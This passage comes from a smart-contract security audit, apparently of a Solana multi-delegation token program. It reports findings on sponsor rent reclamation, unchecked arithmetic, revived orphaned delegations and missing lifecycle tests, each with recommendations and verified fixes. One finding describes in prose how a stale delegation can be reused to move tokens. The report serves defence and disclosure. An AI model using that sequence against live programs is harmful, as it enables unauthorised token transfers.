plan.rs:if accounts.plan_pda.data_len() > 0 { return Err(MultiDelegatorError::PlanAlreadyExists.into());} ProgramAccount::init::<()>(accounts.merchant, accounts.plan_pda, &seeds, Plan::LEN)?;Solana Foundation: Fixed in PR 12
Cantina: Verified fix.
Sponsor cannot independently reclaim rent from delegation accounts
Description
When a third-party sponsor funds the creation of a delegation account (fixed or recurring), the payer field in the delegation header is set to the sponsor's address. On revocation,
resolve_destination()inrevoke_delegation.rscorrectly routes the rent refund back to the sponsor rather than the delegator:if payer_bytes == accounts.authority.address().as_ref() { Ok(accounts.authority) } else { let receiver = accounts.receiver.ok_or(...)?; // ... validates receiver matches payer Ok(receiver) }However, the revoke instruction requires the authority to be the delegator:
if delegator_bytes != accounts.authority.address().as_ref() { return Err(MultiDelegatorError::Unauthorized.into()); }This means the sponsor has no independent path to trigger closure and reclaim their rent. The sponsor is entirely dependent on the delegator to revoke. This applies to both fixed and recurring delegations created via the optional sponsor flow in
create_delegation_account().Recommendation
Acknowledge as a known trust assumption and document that sponsors accept the risk of indefinite rent lock when funding delegation accounts on behalf of others.
Alternatively, consider allowing the sponsor to reclaim rent under specific conditions, such as after the delegation has expired (expiry_ts != 0 && current_ts > expiry_ts), where the delegation is no longer functional and closure has no effect on either party's authorization.
Solana Foundation: Fixed in PR 21
Cantina: Verified fix. The sponsor expiry check uses a strict comparison (expiry_ts > current_ts) without the drift tolerance. This is fine since the drift tolerance is a leniency for delegatees performing transfers, not for rent reclamation. Being strict here is the safer default.
Unchecked arithmetic in subscription transfer period length calculation
Description
In
transfer_subscription.rs, the plan's period length is converted from hours to seconds using unchecked multiplication:period_length_s = plan.data.period_hours * 3600;While period_hours is validated at plan creation time to be <= 8760 (MAX_PLAN_PERIOD_HOURS), making overflow impossible under current constraints (8760 * 3600 = 31,536,000, well within u64 range), this relies on an invariant enforced elsewhere rather than being locally defensive.
Recommendation
Replace the unchecked multiplication with checked_mul for consistency and defense in depth:
period_length_s = plan.data.period_hours .checked_mul(3600) .ok_or::<ProgramError>(MultiDelegatorError::ArithmeticOverflow.into())?;Solana Foundation: Fixed in PR 14
Cantina: Verified fix.
Re-initializing MultiDelegate revives orphaned delegation accounts
Description
The MultiDelegate PDA is derived deterministically from ["MultiDelegate", user, token_mint] with no nonce or generation counter. When a user closes their MultiDelegate via
close_multidelegate(), any outstanding delegation PDAs (fixed, recurring, or subscription) are not invalidated and they continue to exist on-chain with headers referencing the now-closed MultiDelegate address.If the user later re-initializes a MultiDelegate for the same mint, the new PDA is created at the same address as the original. All previously orphaned delegations become functional again because
transfer_with_delegate()loads the MultiDelegate solely by address to obtain the signing bump, and the re-created account satisfies that lookup.The sequence:
- Alice creates MultiDelegate for USDC, creates fixed delegation granting Bob 1000 USDC
- Alice closes MultiDelegate (delegations remain on-chain, transfers fail because MultiDelegate is gone)
- Time passes, Alice forgets about the old delegation to Bob
- Alice re-initializes MultiDelegate for USDC (same deterministic PDA address)
- Bob's old delegation is live again and Bob can transfer up to the original remaining allowance
The
initialize_multidelegate()instruction is idempotent by design (it checks data_len() == 0 before creating), so this only occurs when the account was fully closed and then re-created. There is no generation counter, epoch, or nonce on the MultiDelegate that delegations could validate against to detect staleness.Recommendation
Document that closing a MultiDelegate does not invalidate outstanding delegations, and that users should revoke all active delegations before closing.
Alternatively, consider adding a monotonic generation counter to the MultiDelegate that is incremented on each initialization, and storing the expected generation in delegation headers so that stale delegations fail validation on transfer.
Solana Foundation: Fixed in PR 12
Cantina: Verified fix.
Test suite tests instructions in isolation
Description
The program has 173 tests with strong per-instruction coverage: input validation, account constraints, signer/writable checks, and single-instruction error paths are thorough. However, the suite contains zero cross-instruction lifecycle tests and zero multi-actor adversarial sequences. Every instruction is tested in isolation.
All major vulnerabilities found in this audit are composition bugs and individual instructions behave correctly, but sequencing them reveals exploitable state transitions.
Additionally, Token-2022 is validated at initialization (10 extension-blocking tests) but has zero transfer-path tests and no test performs a delegation transfer through a Token-2022 mint.
Recommendation
Consider improving the test suite by adding more adversarial sequences and full-lifecycle tests.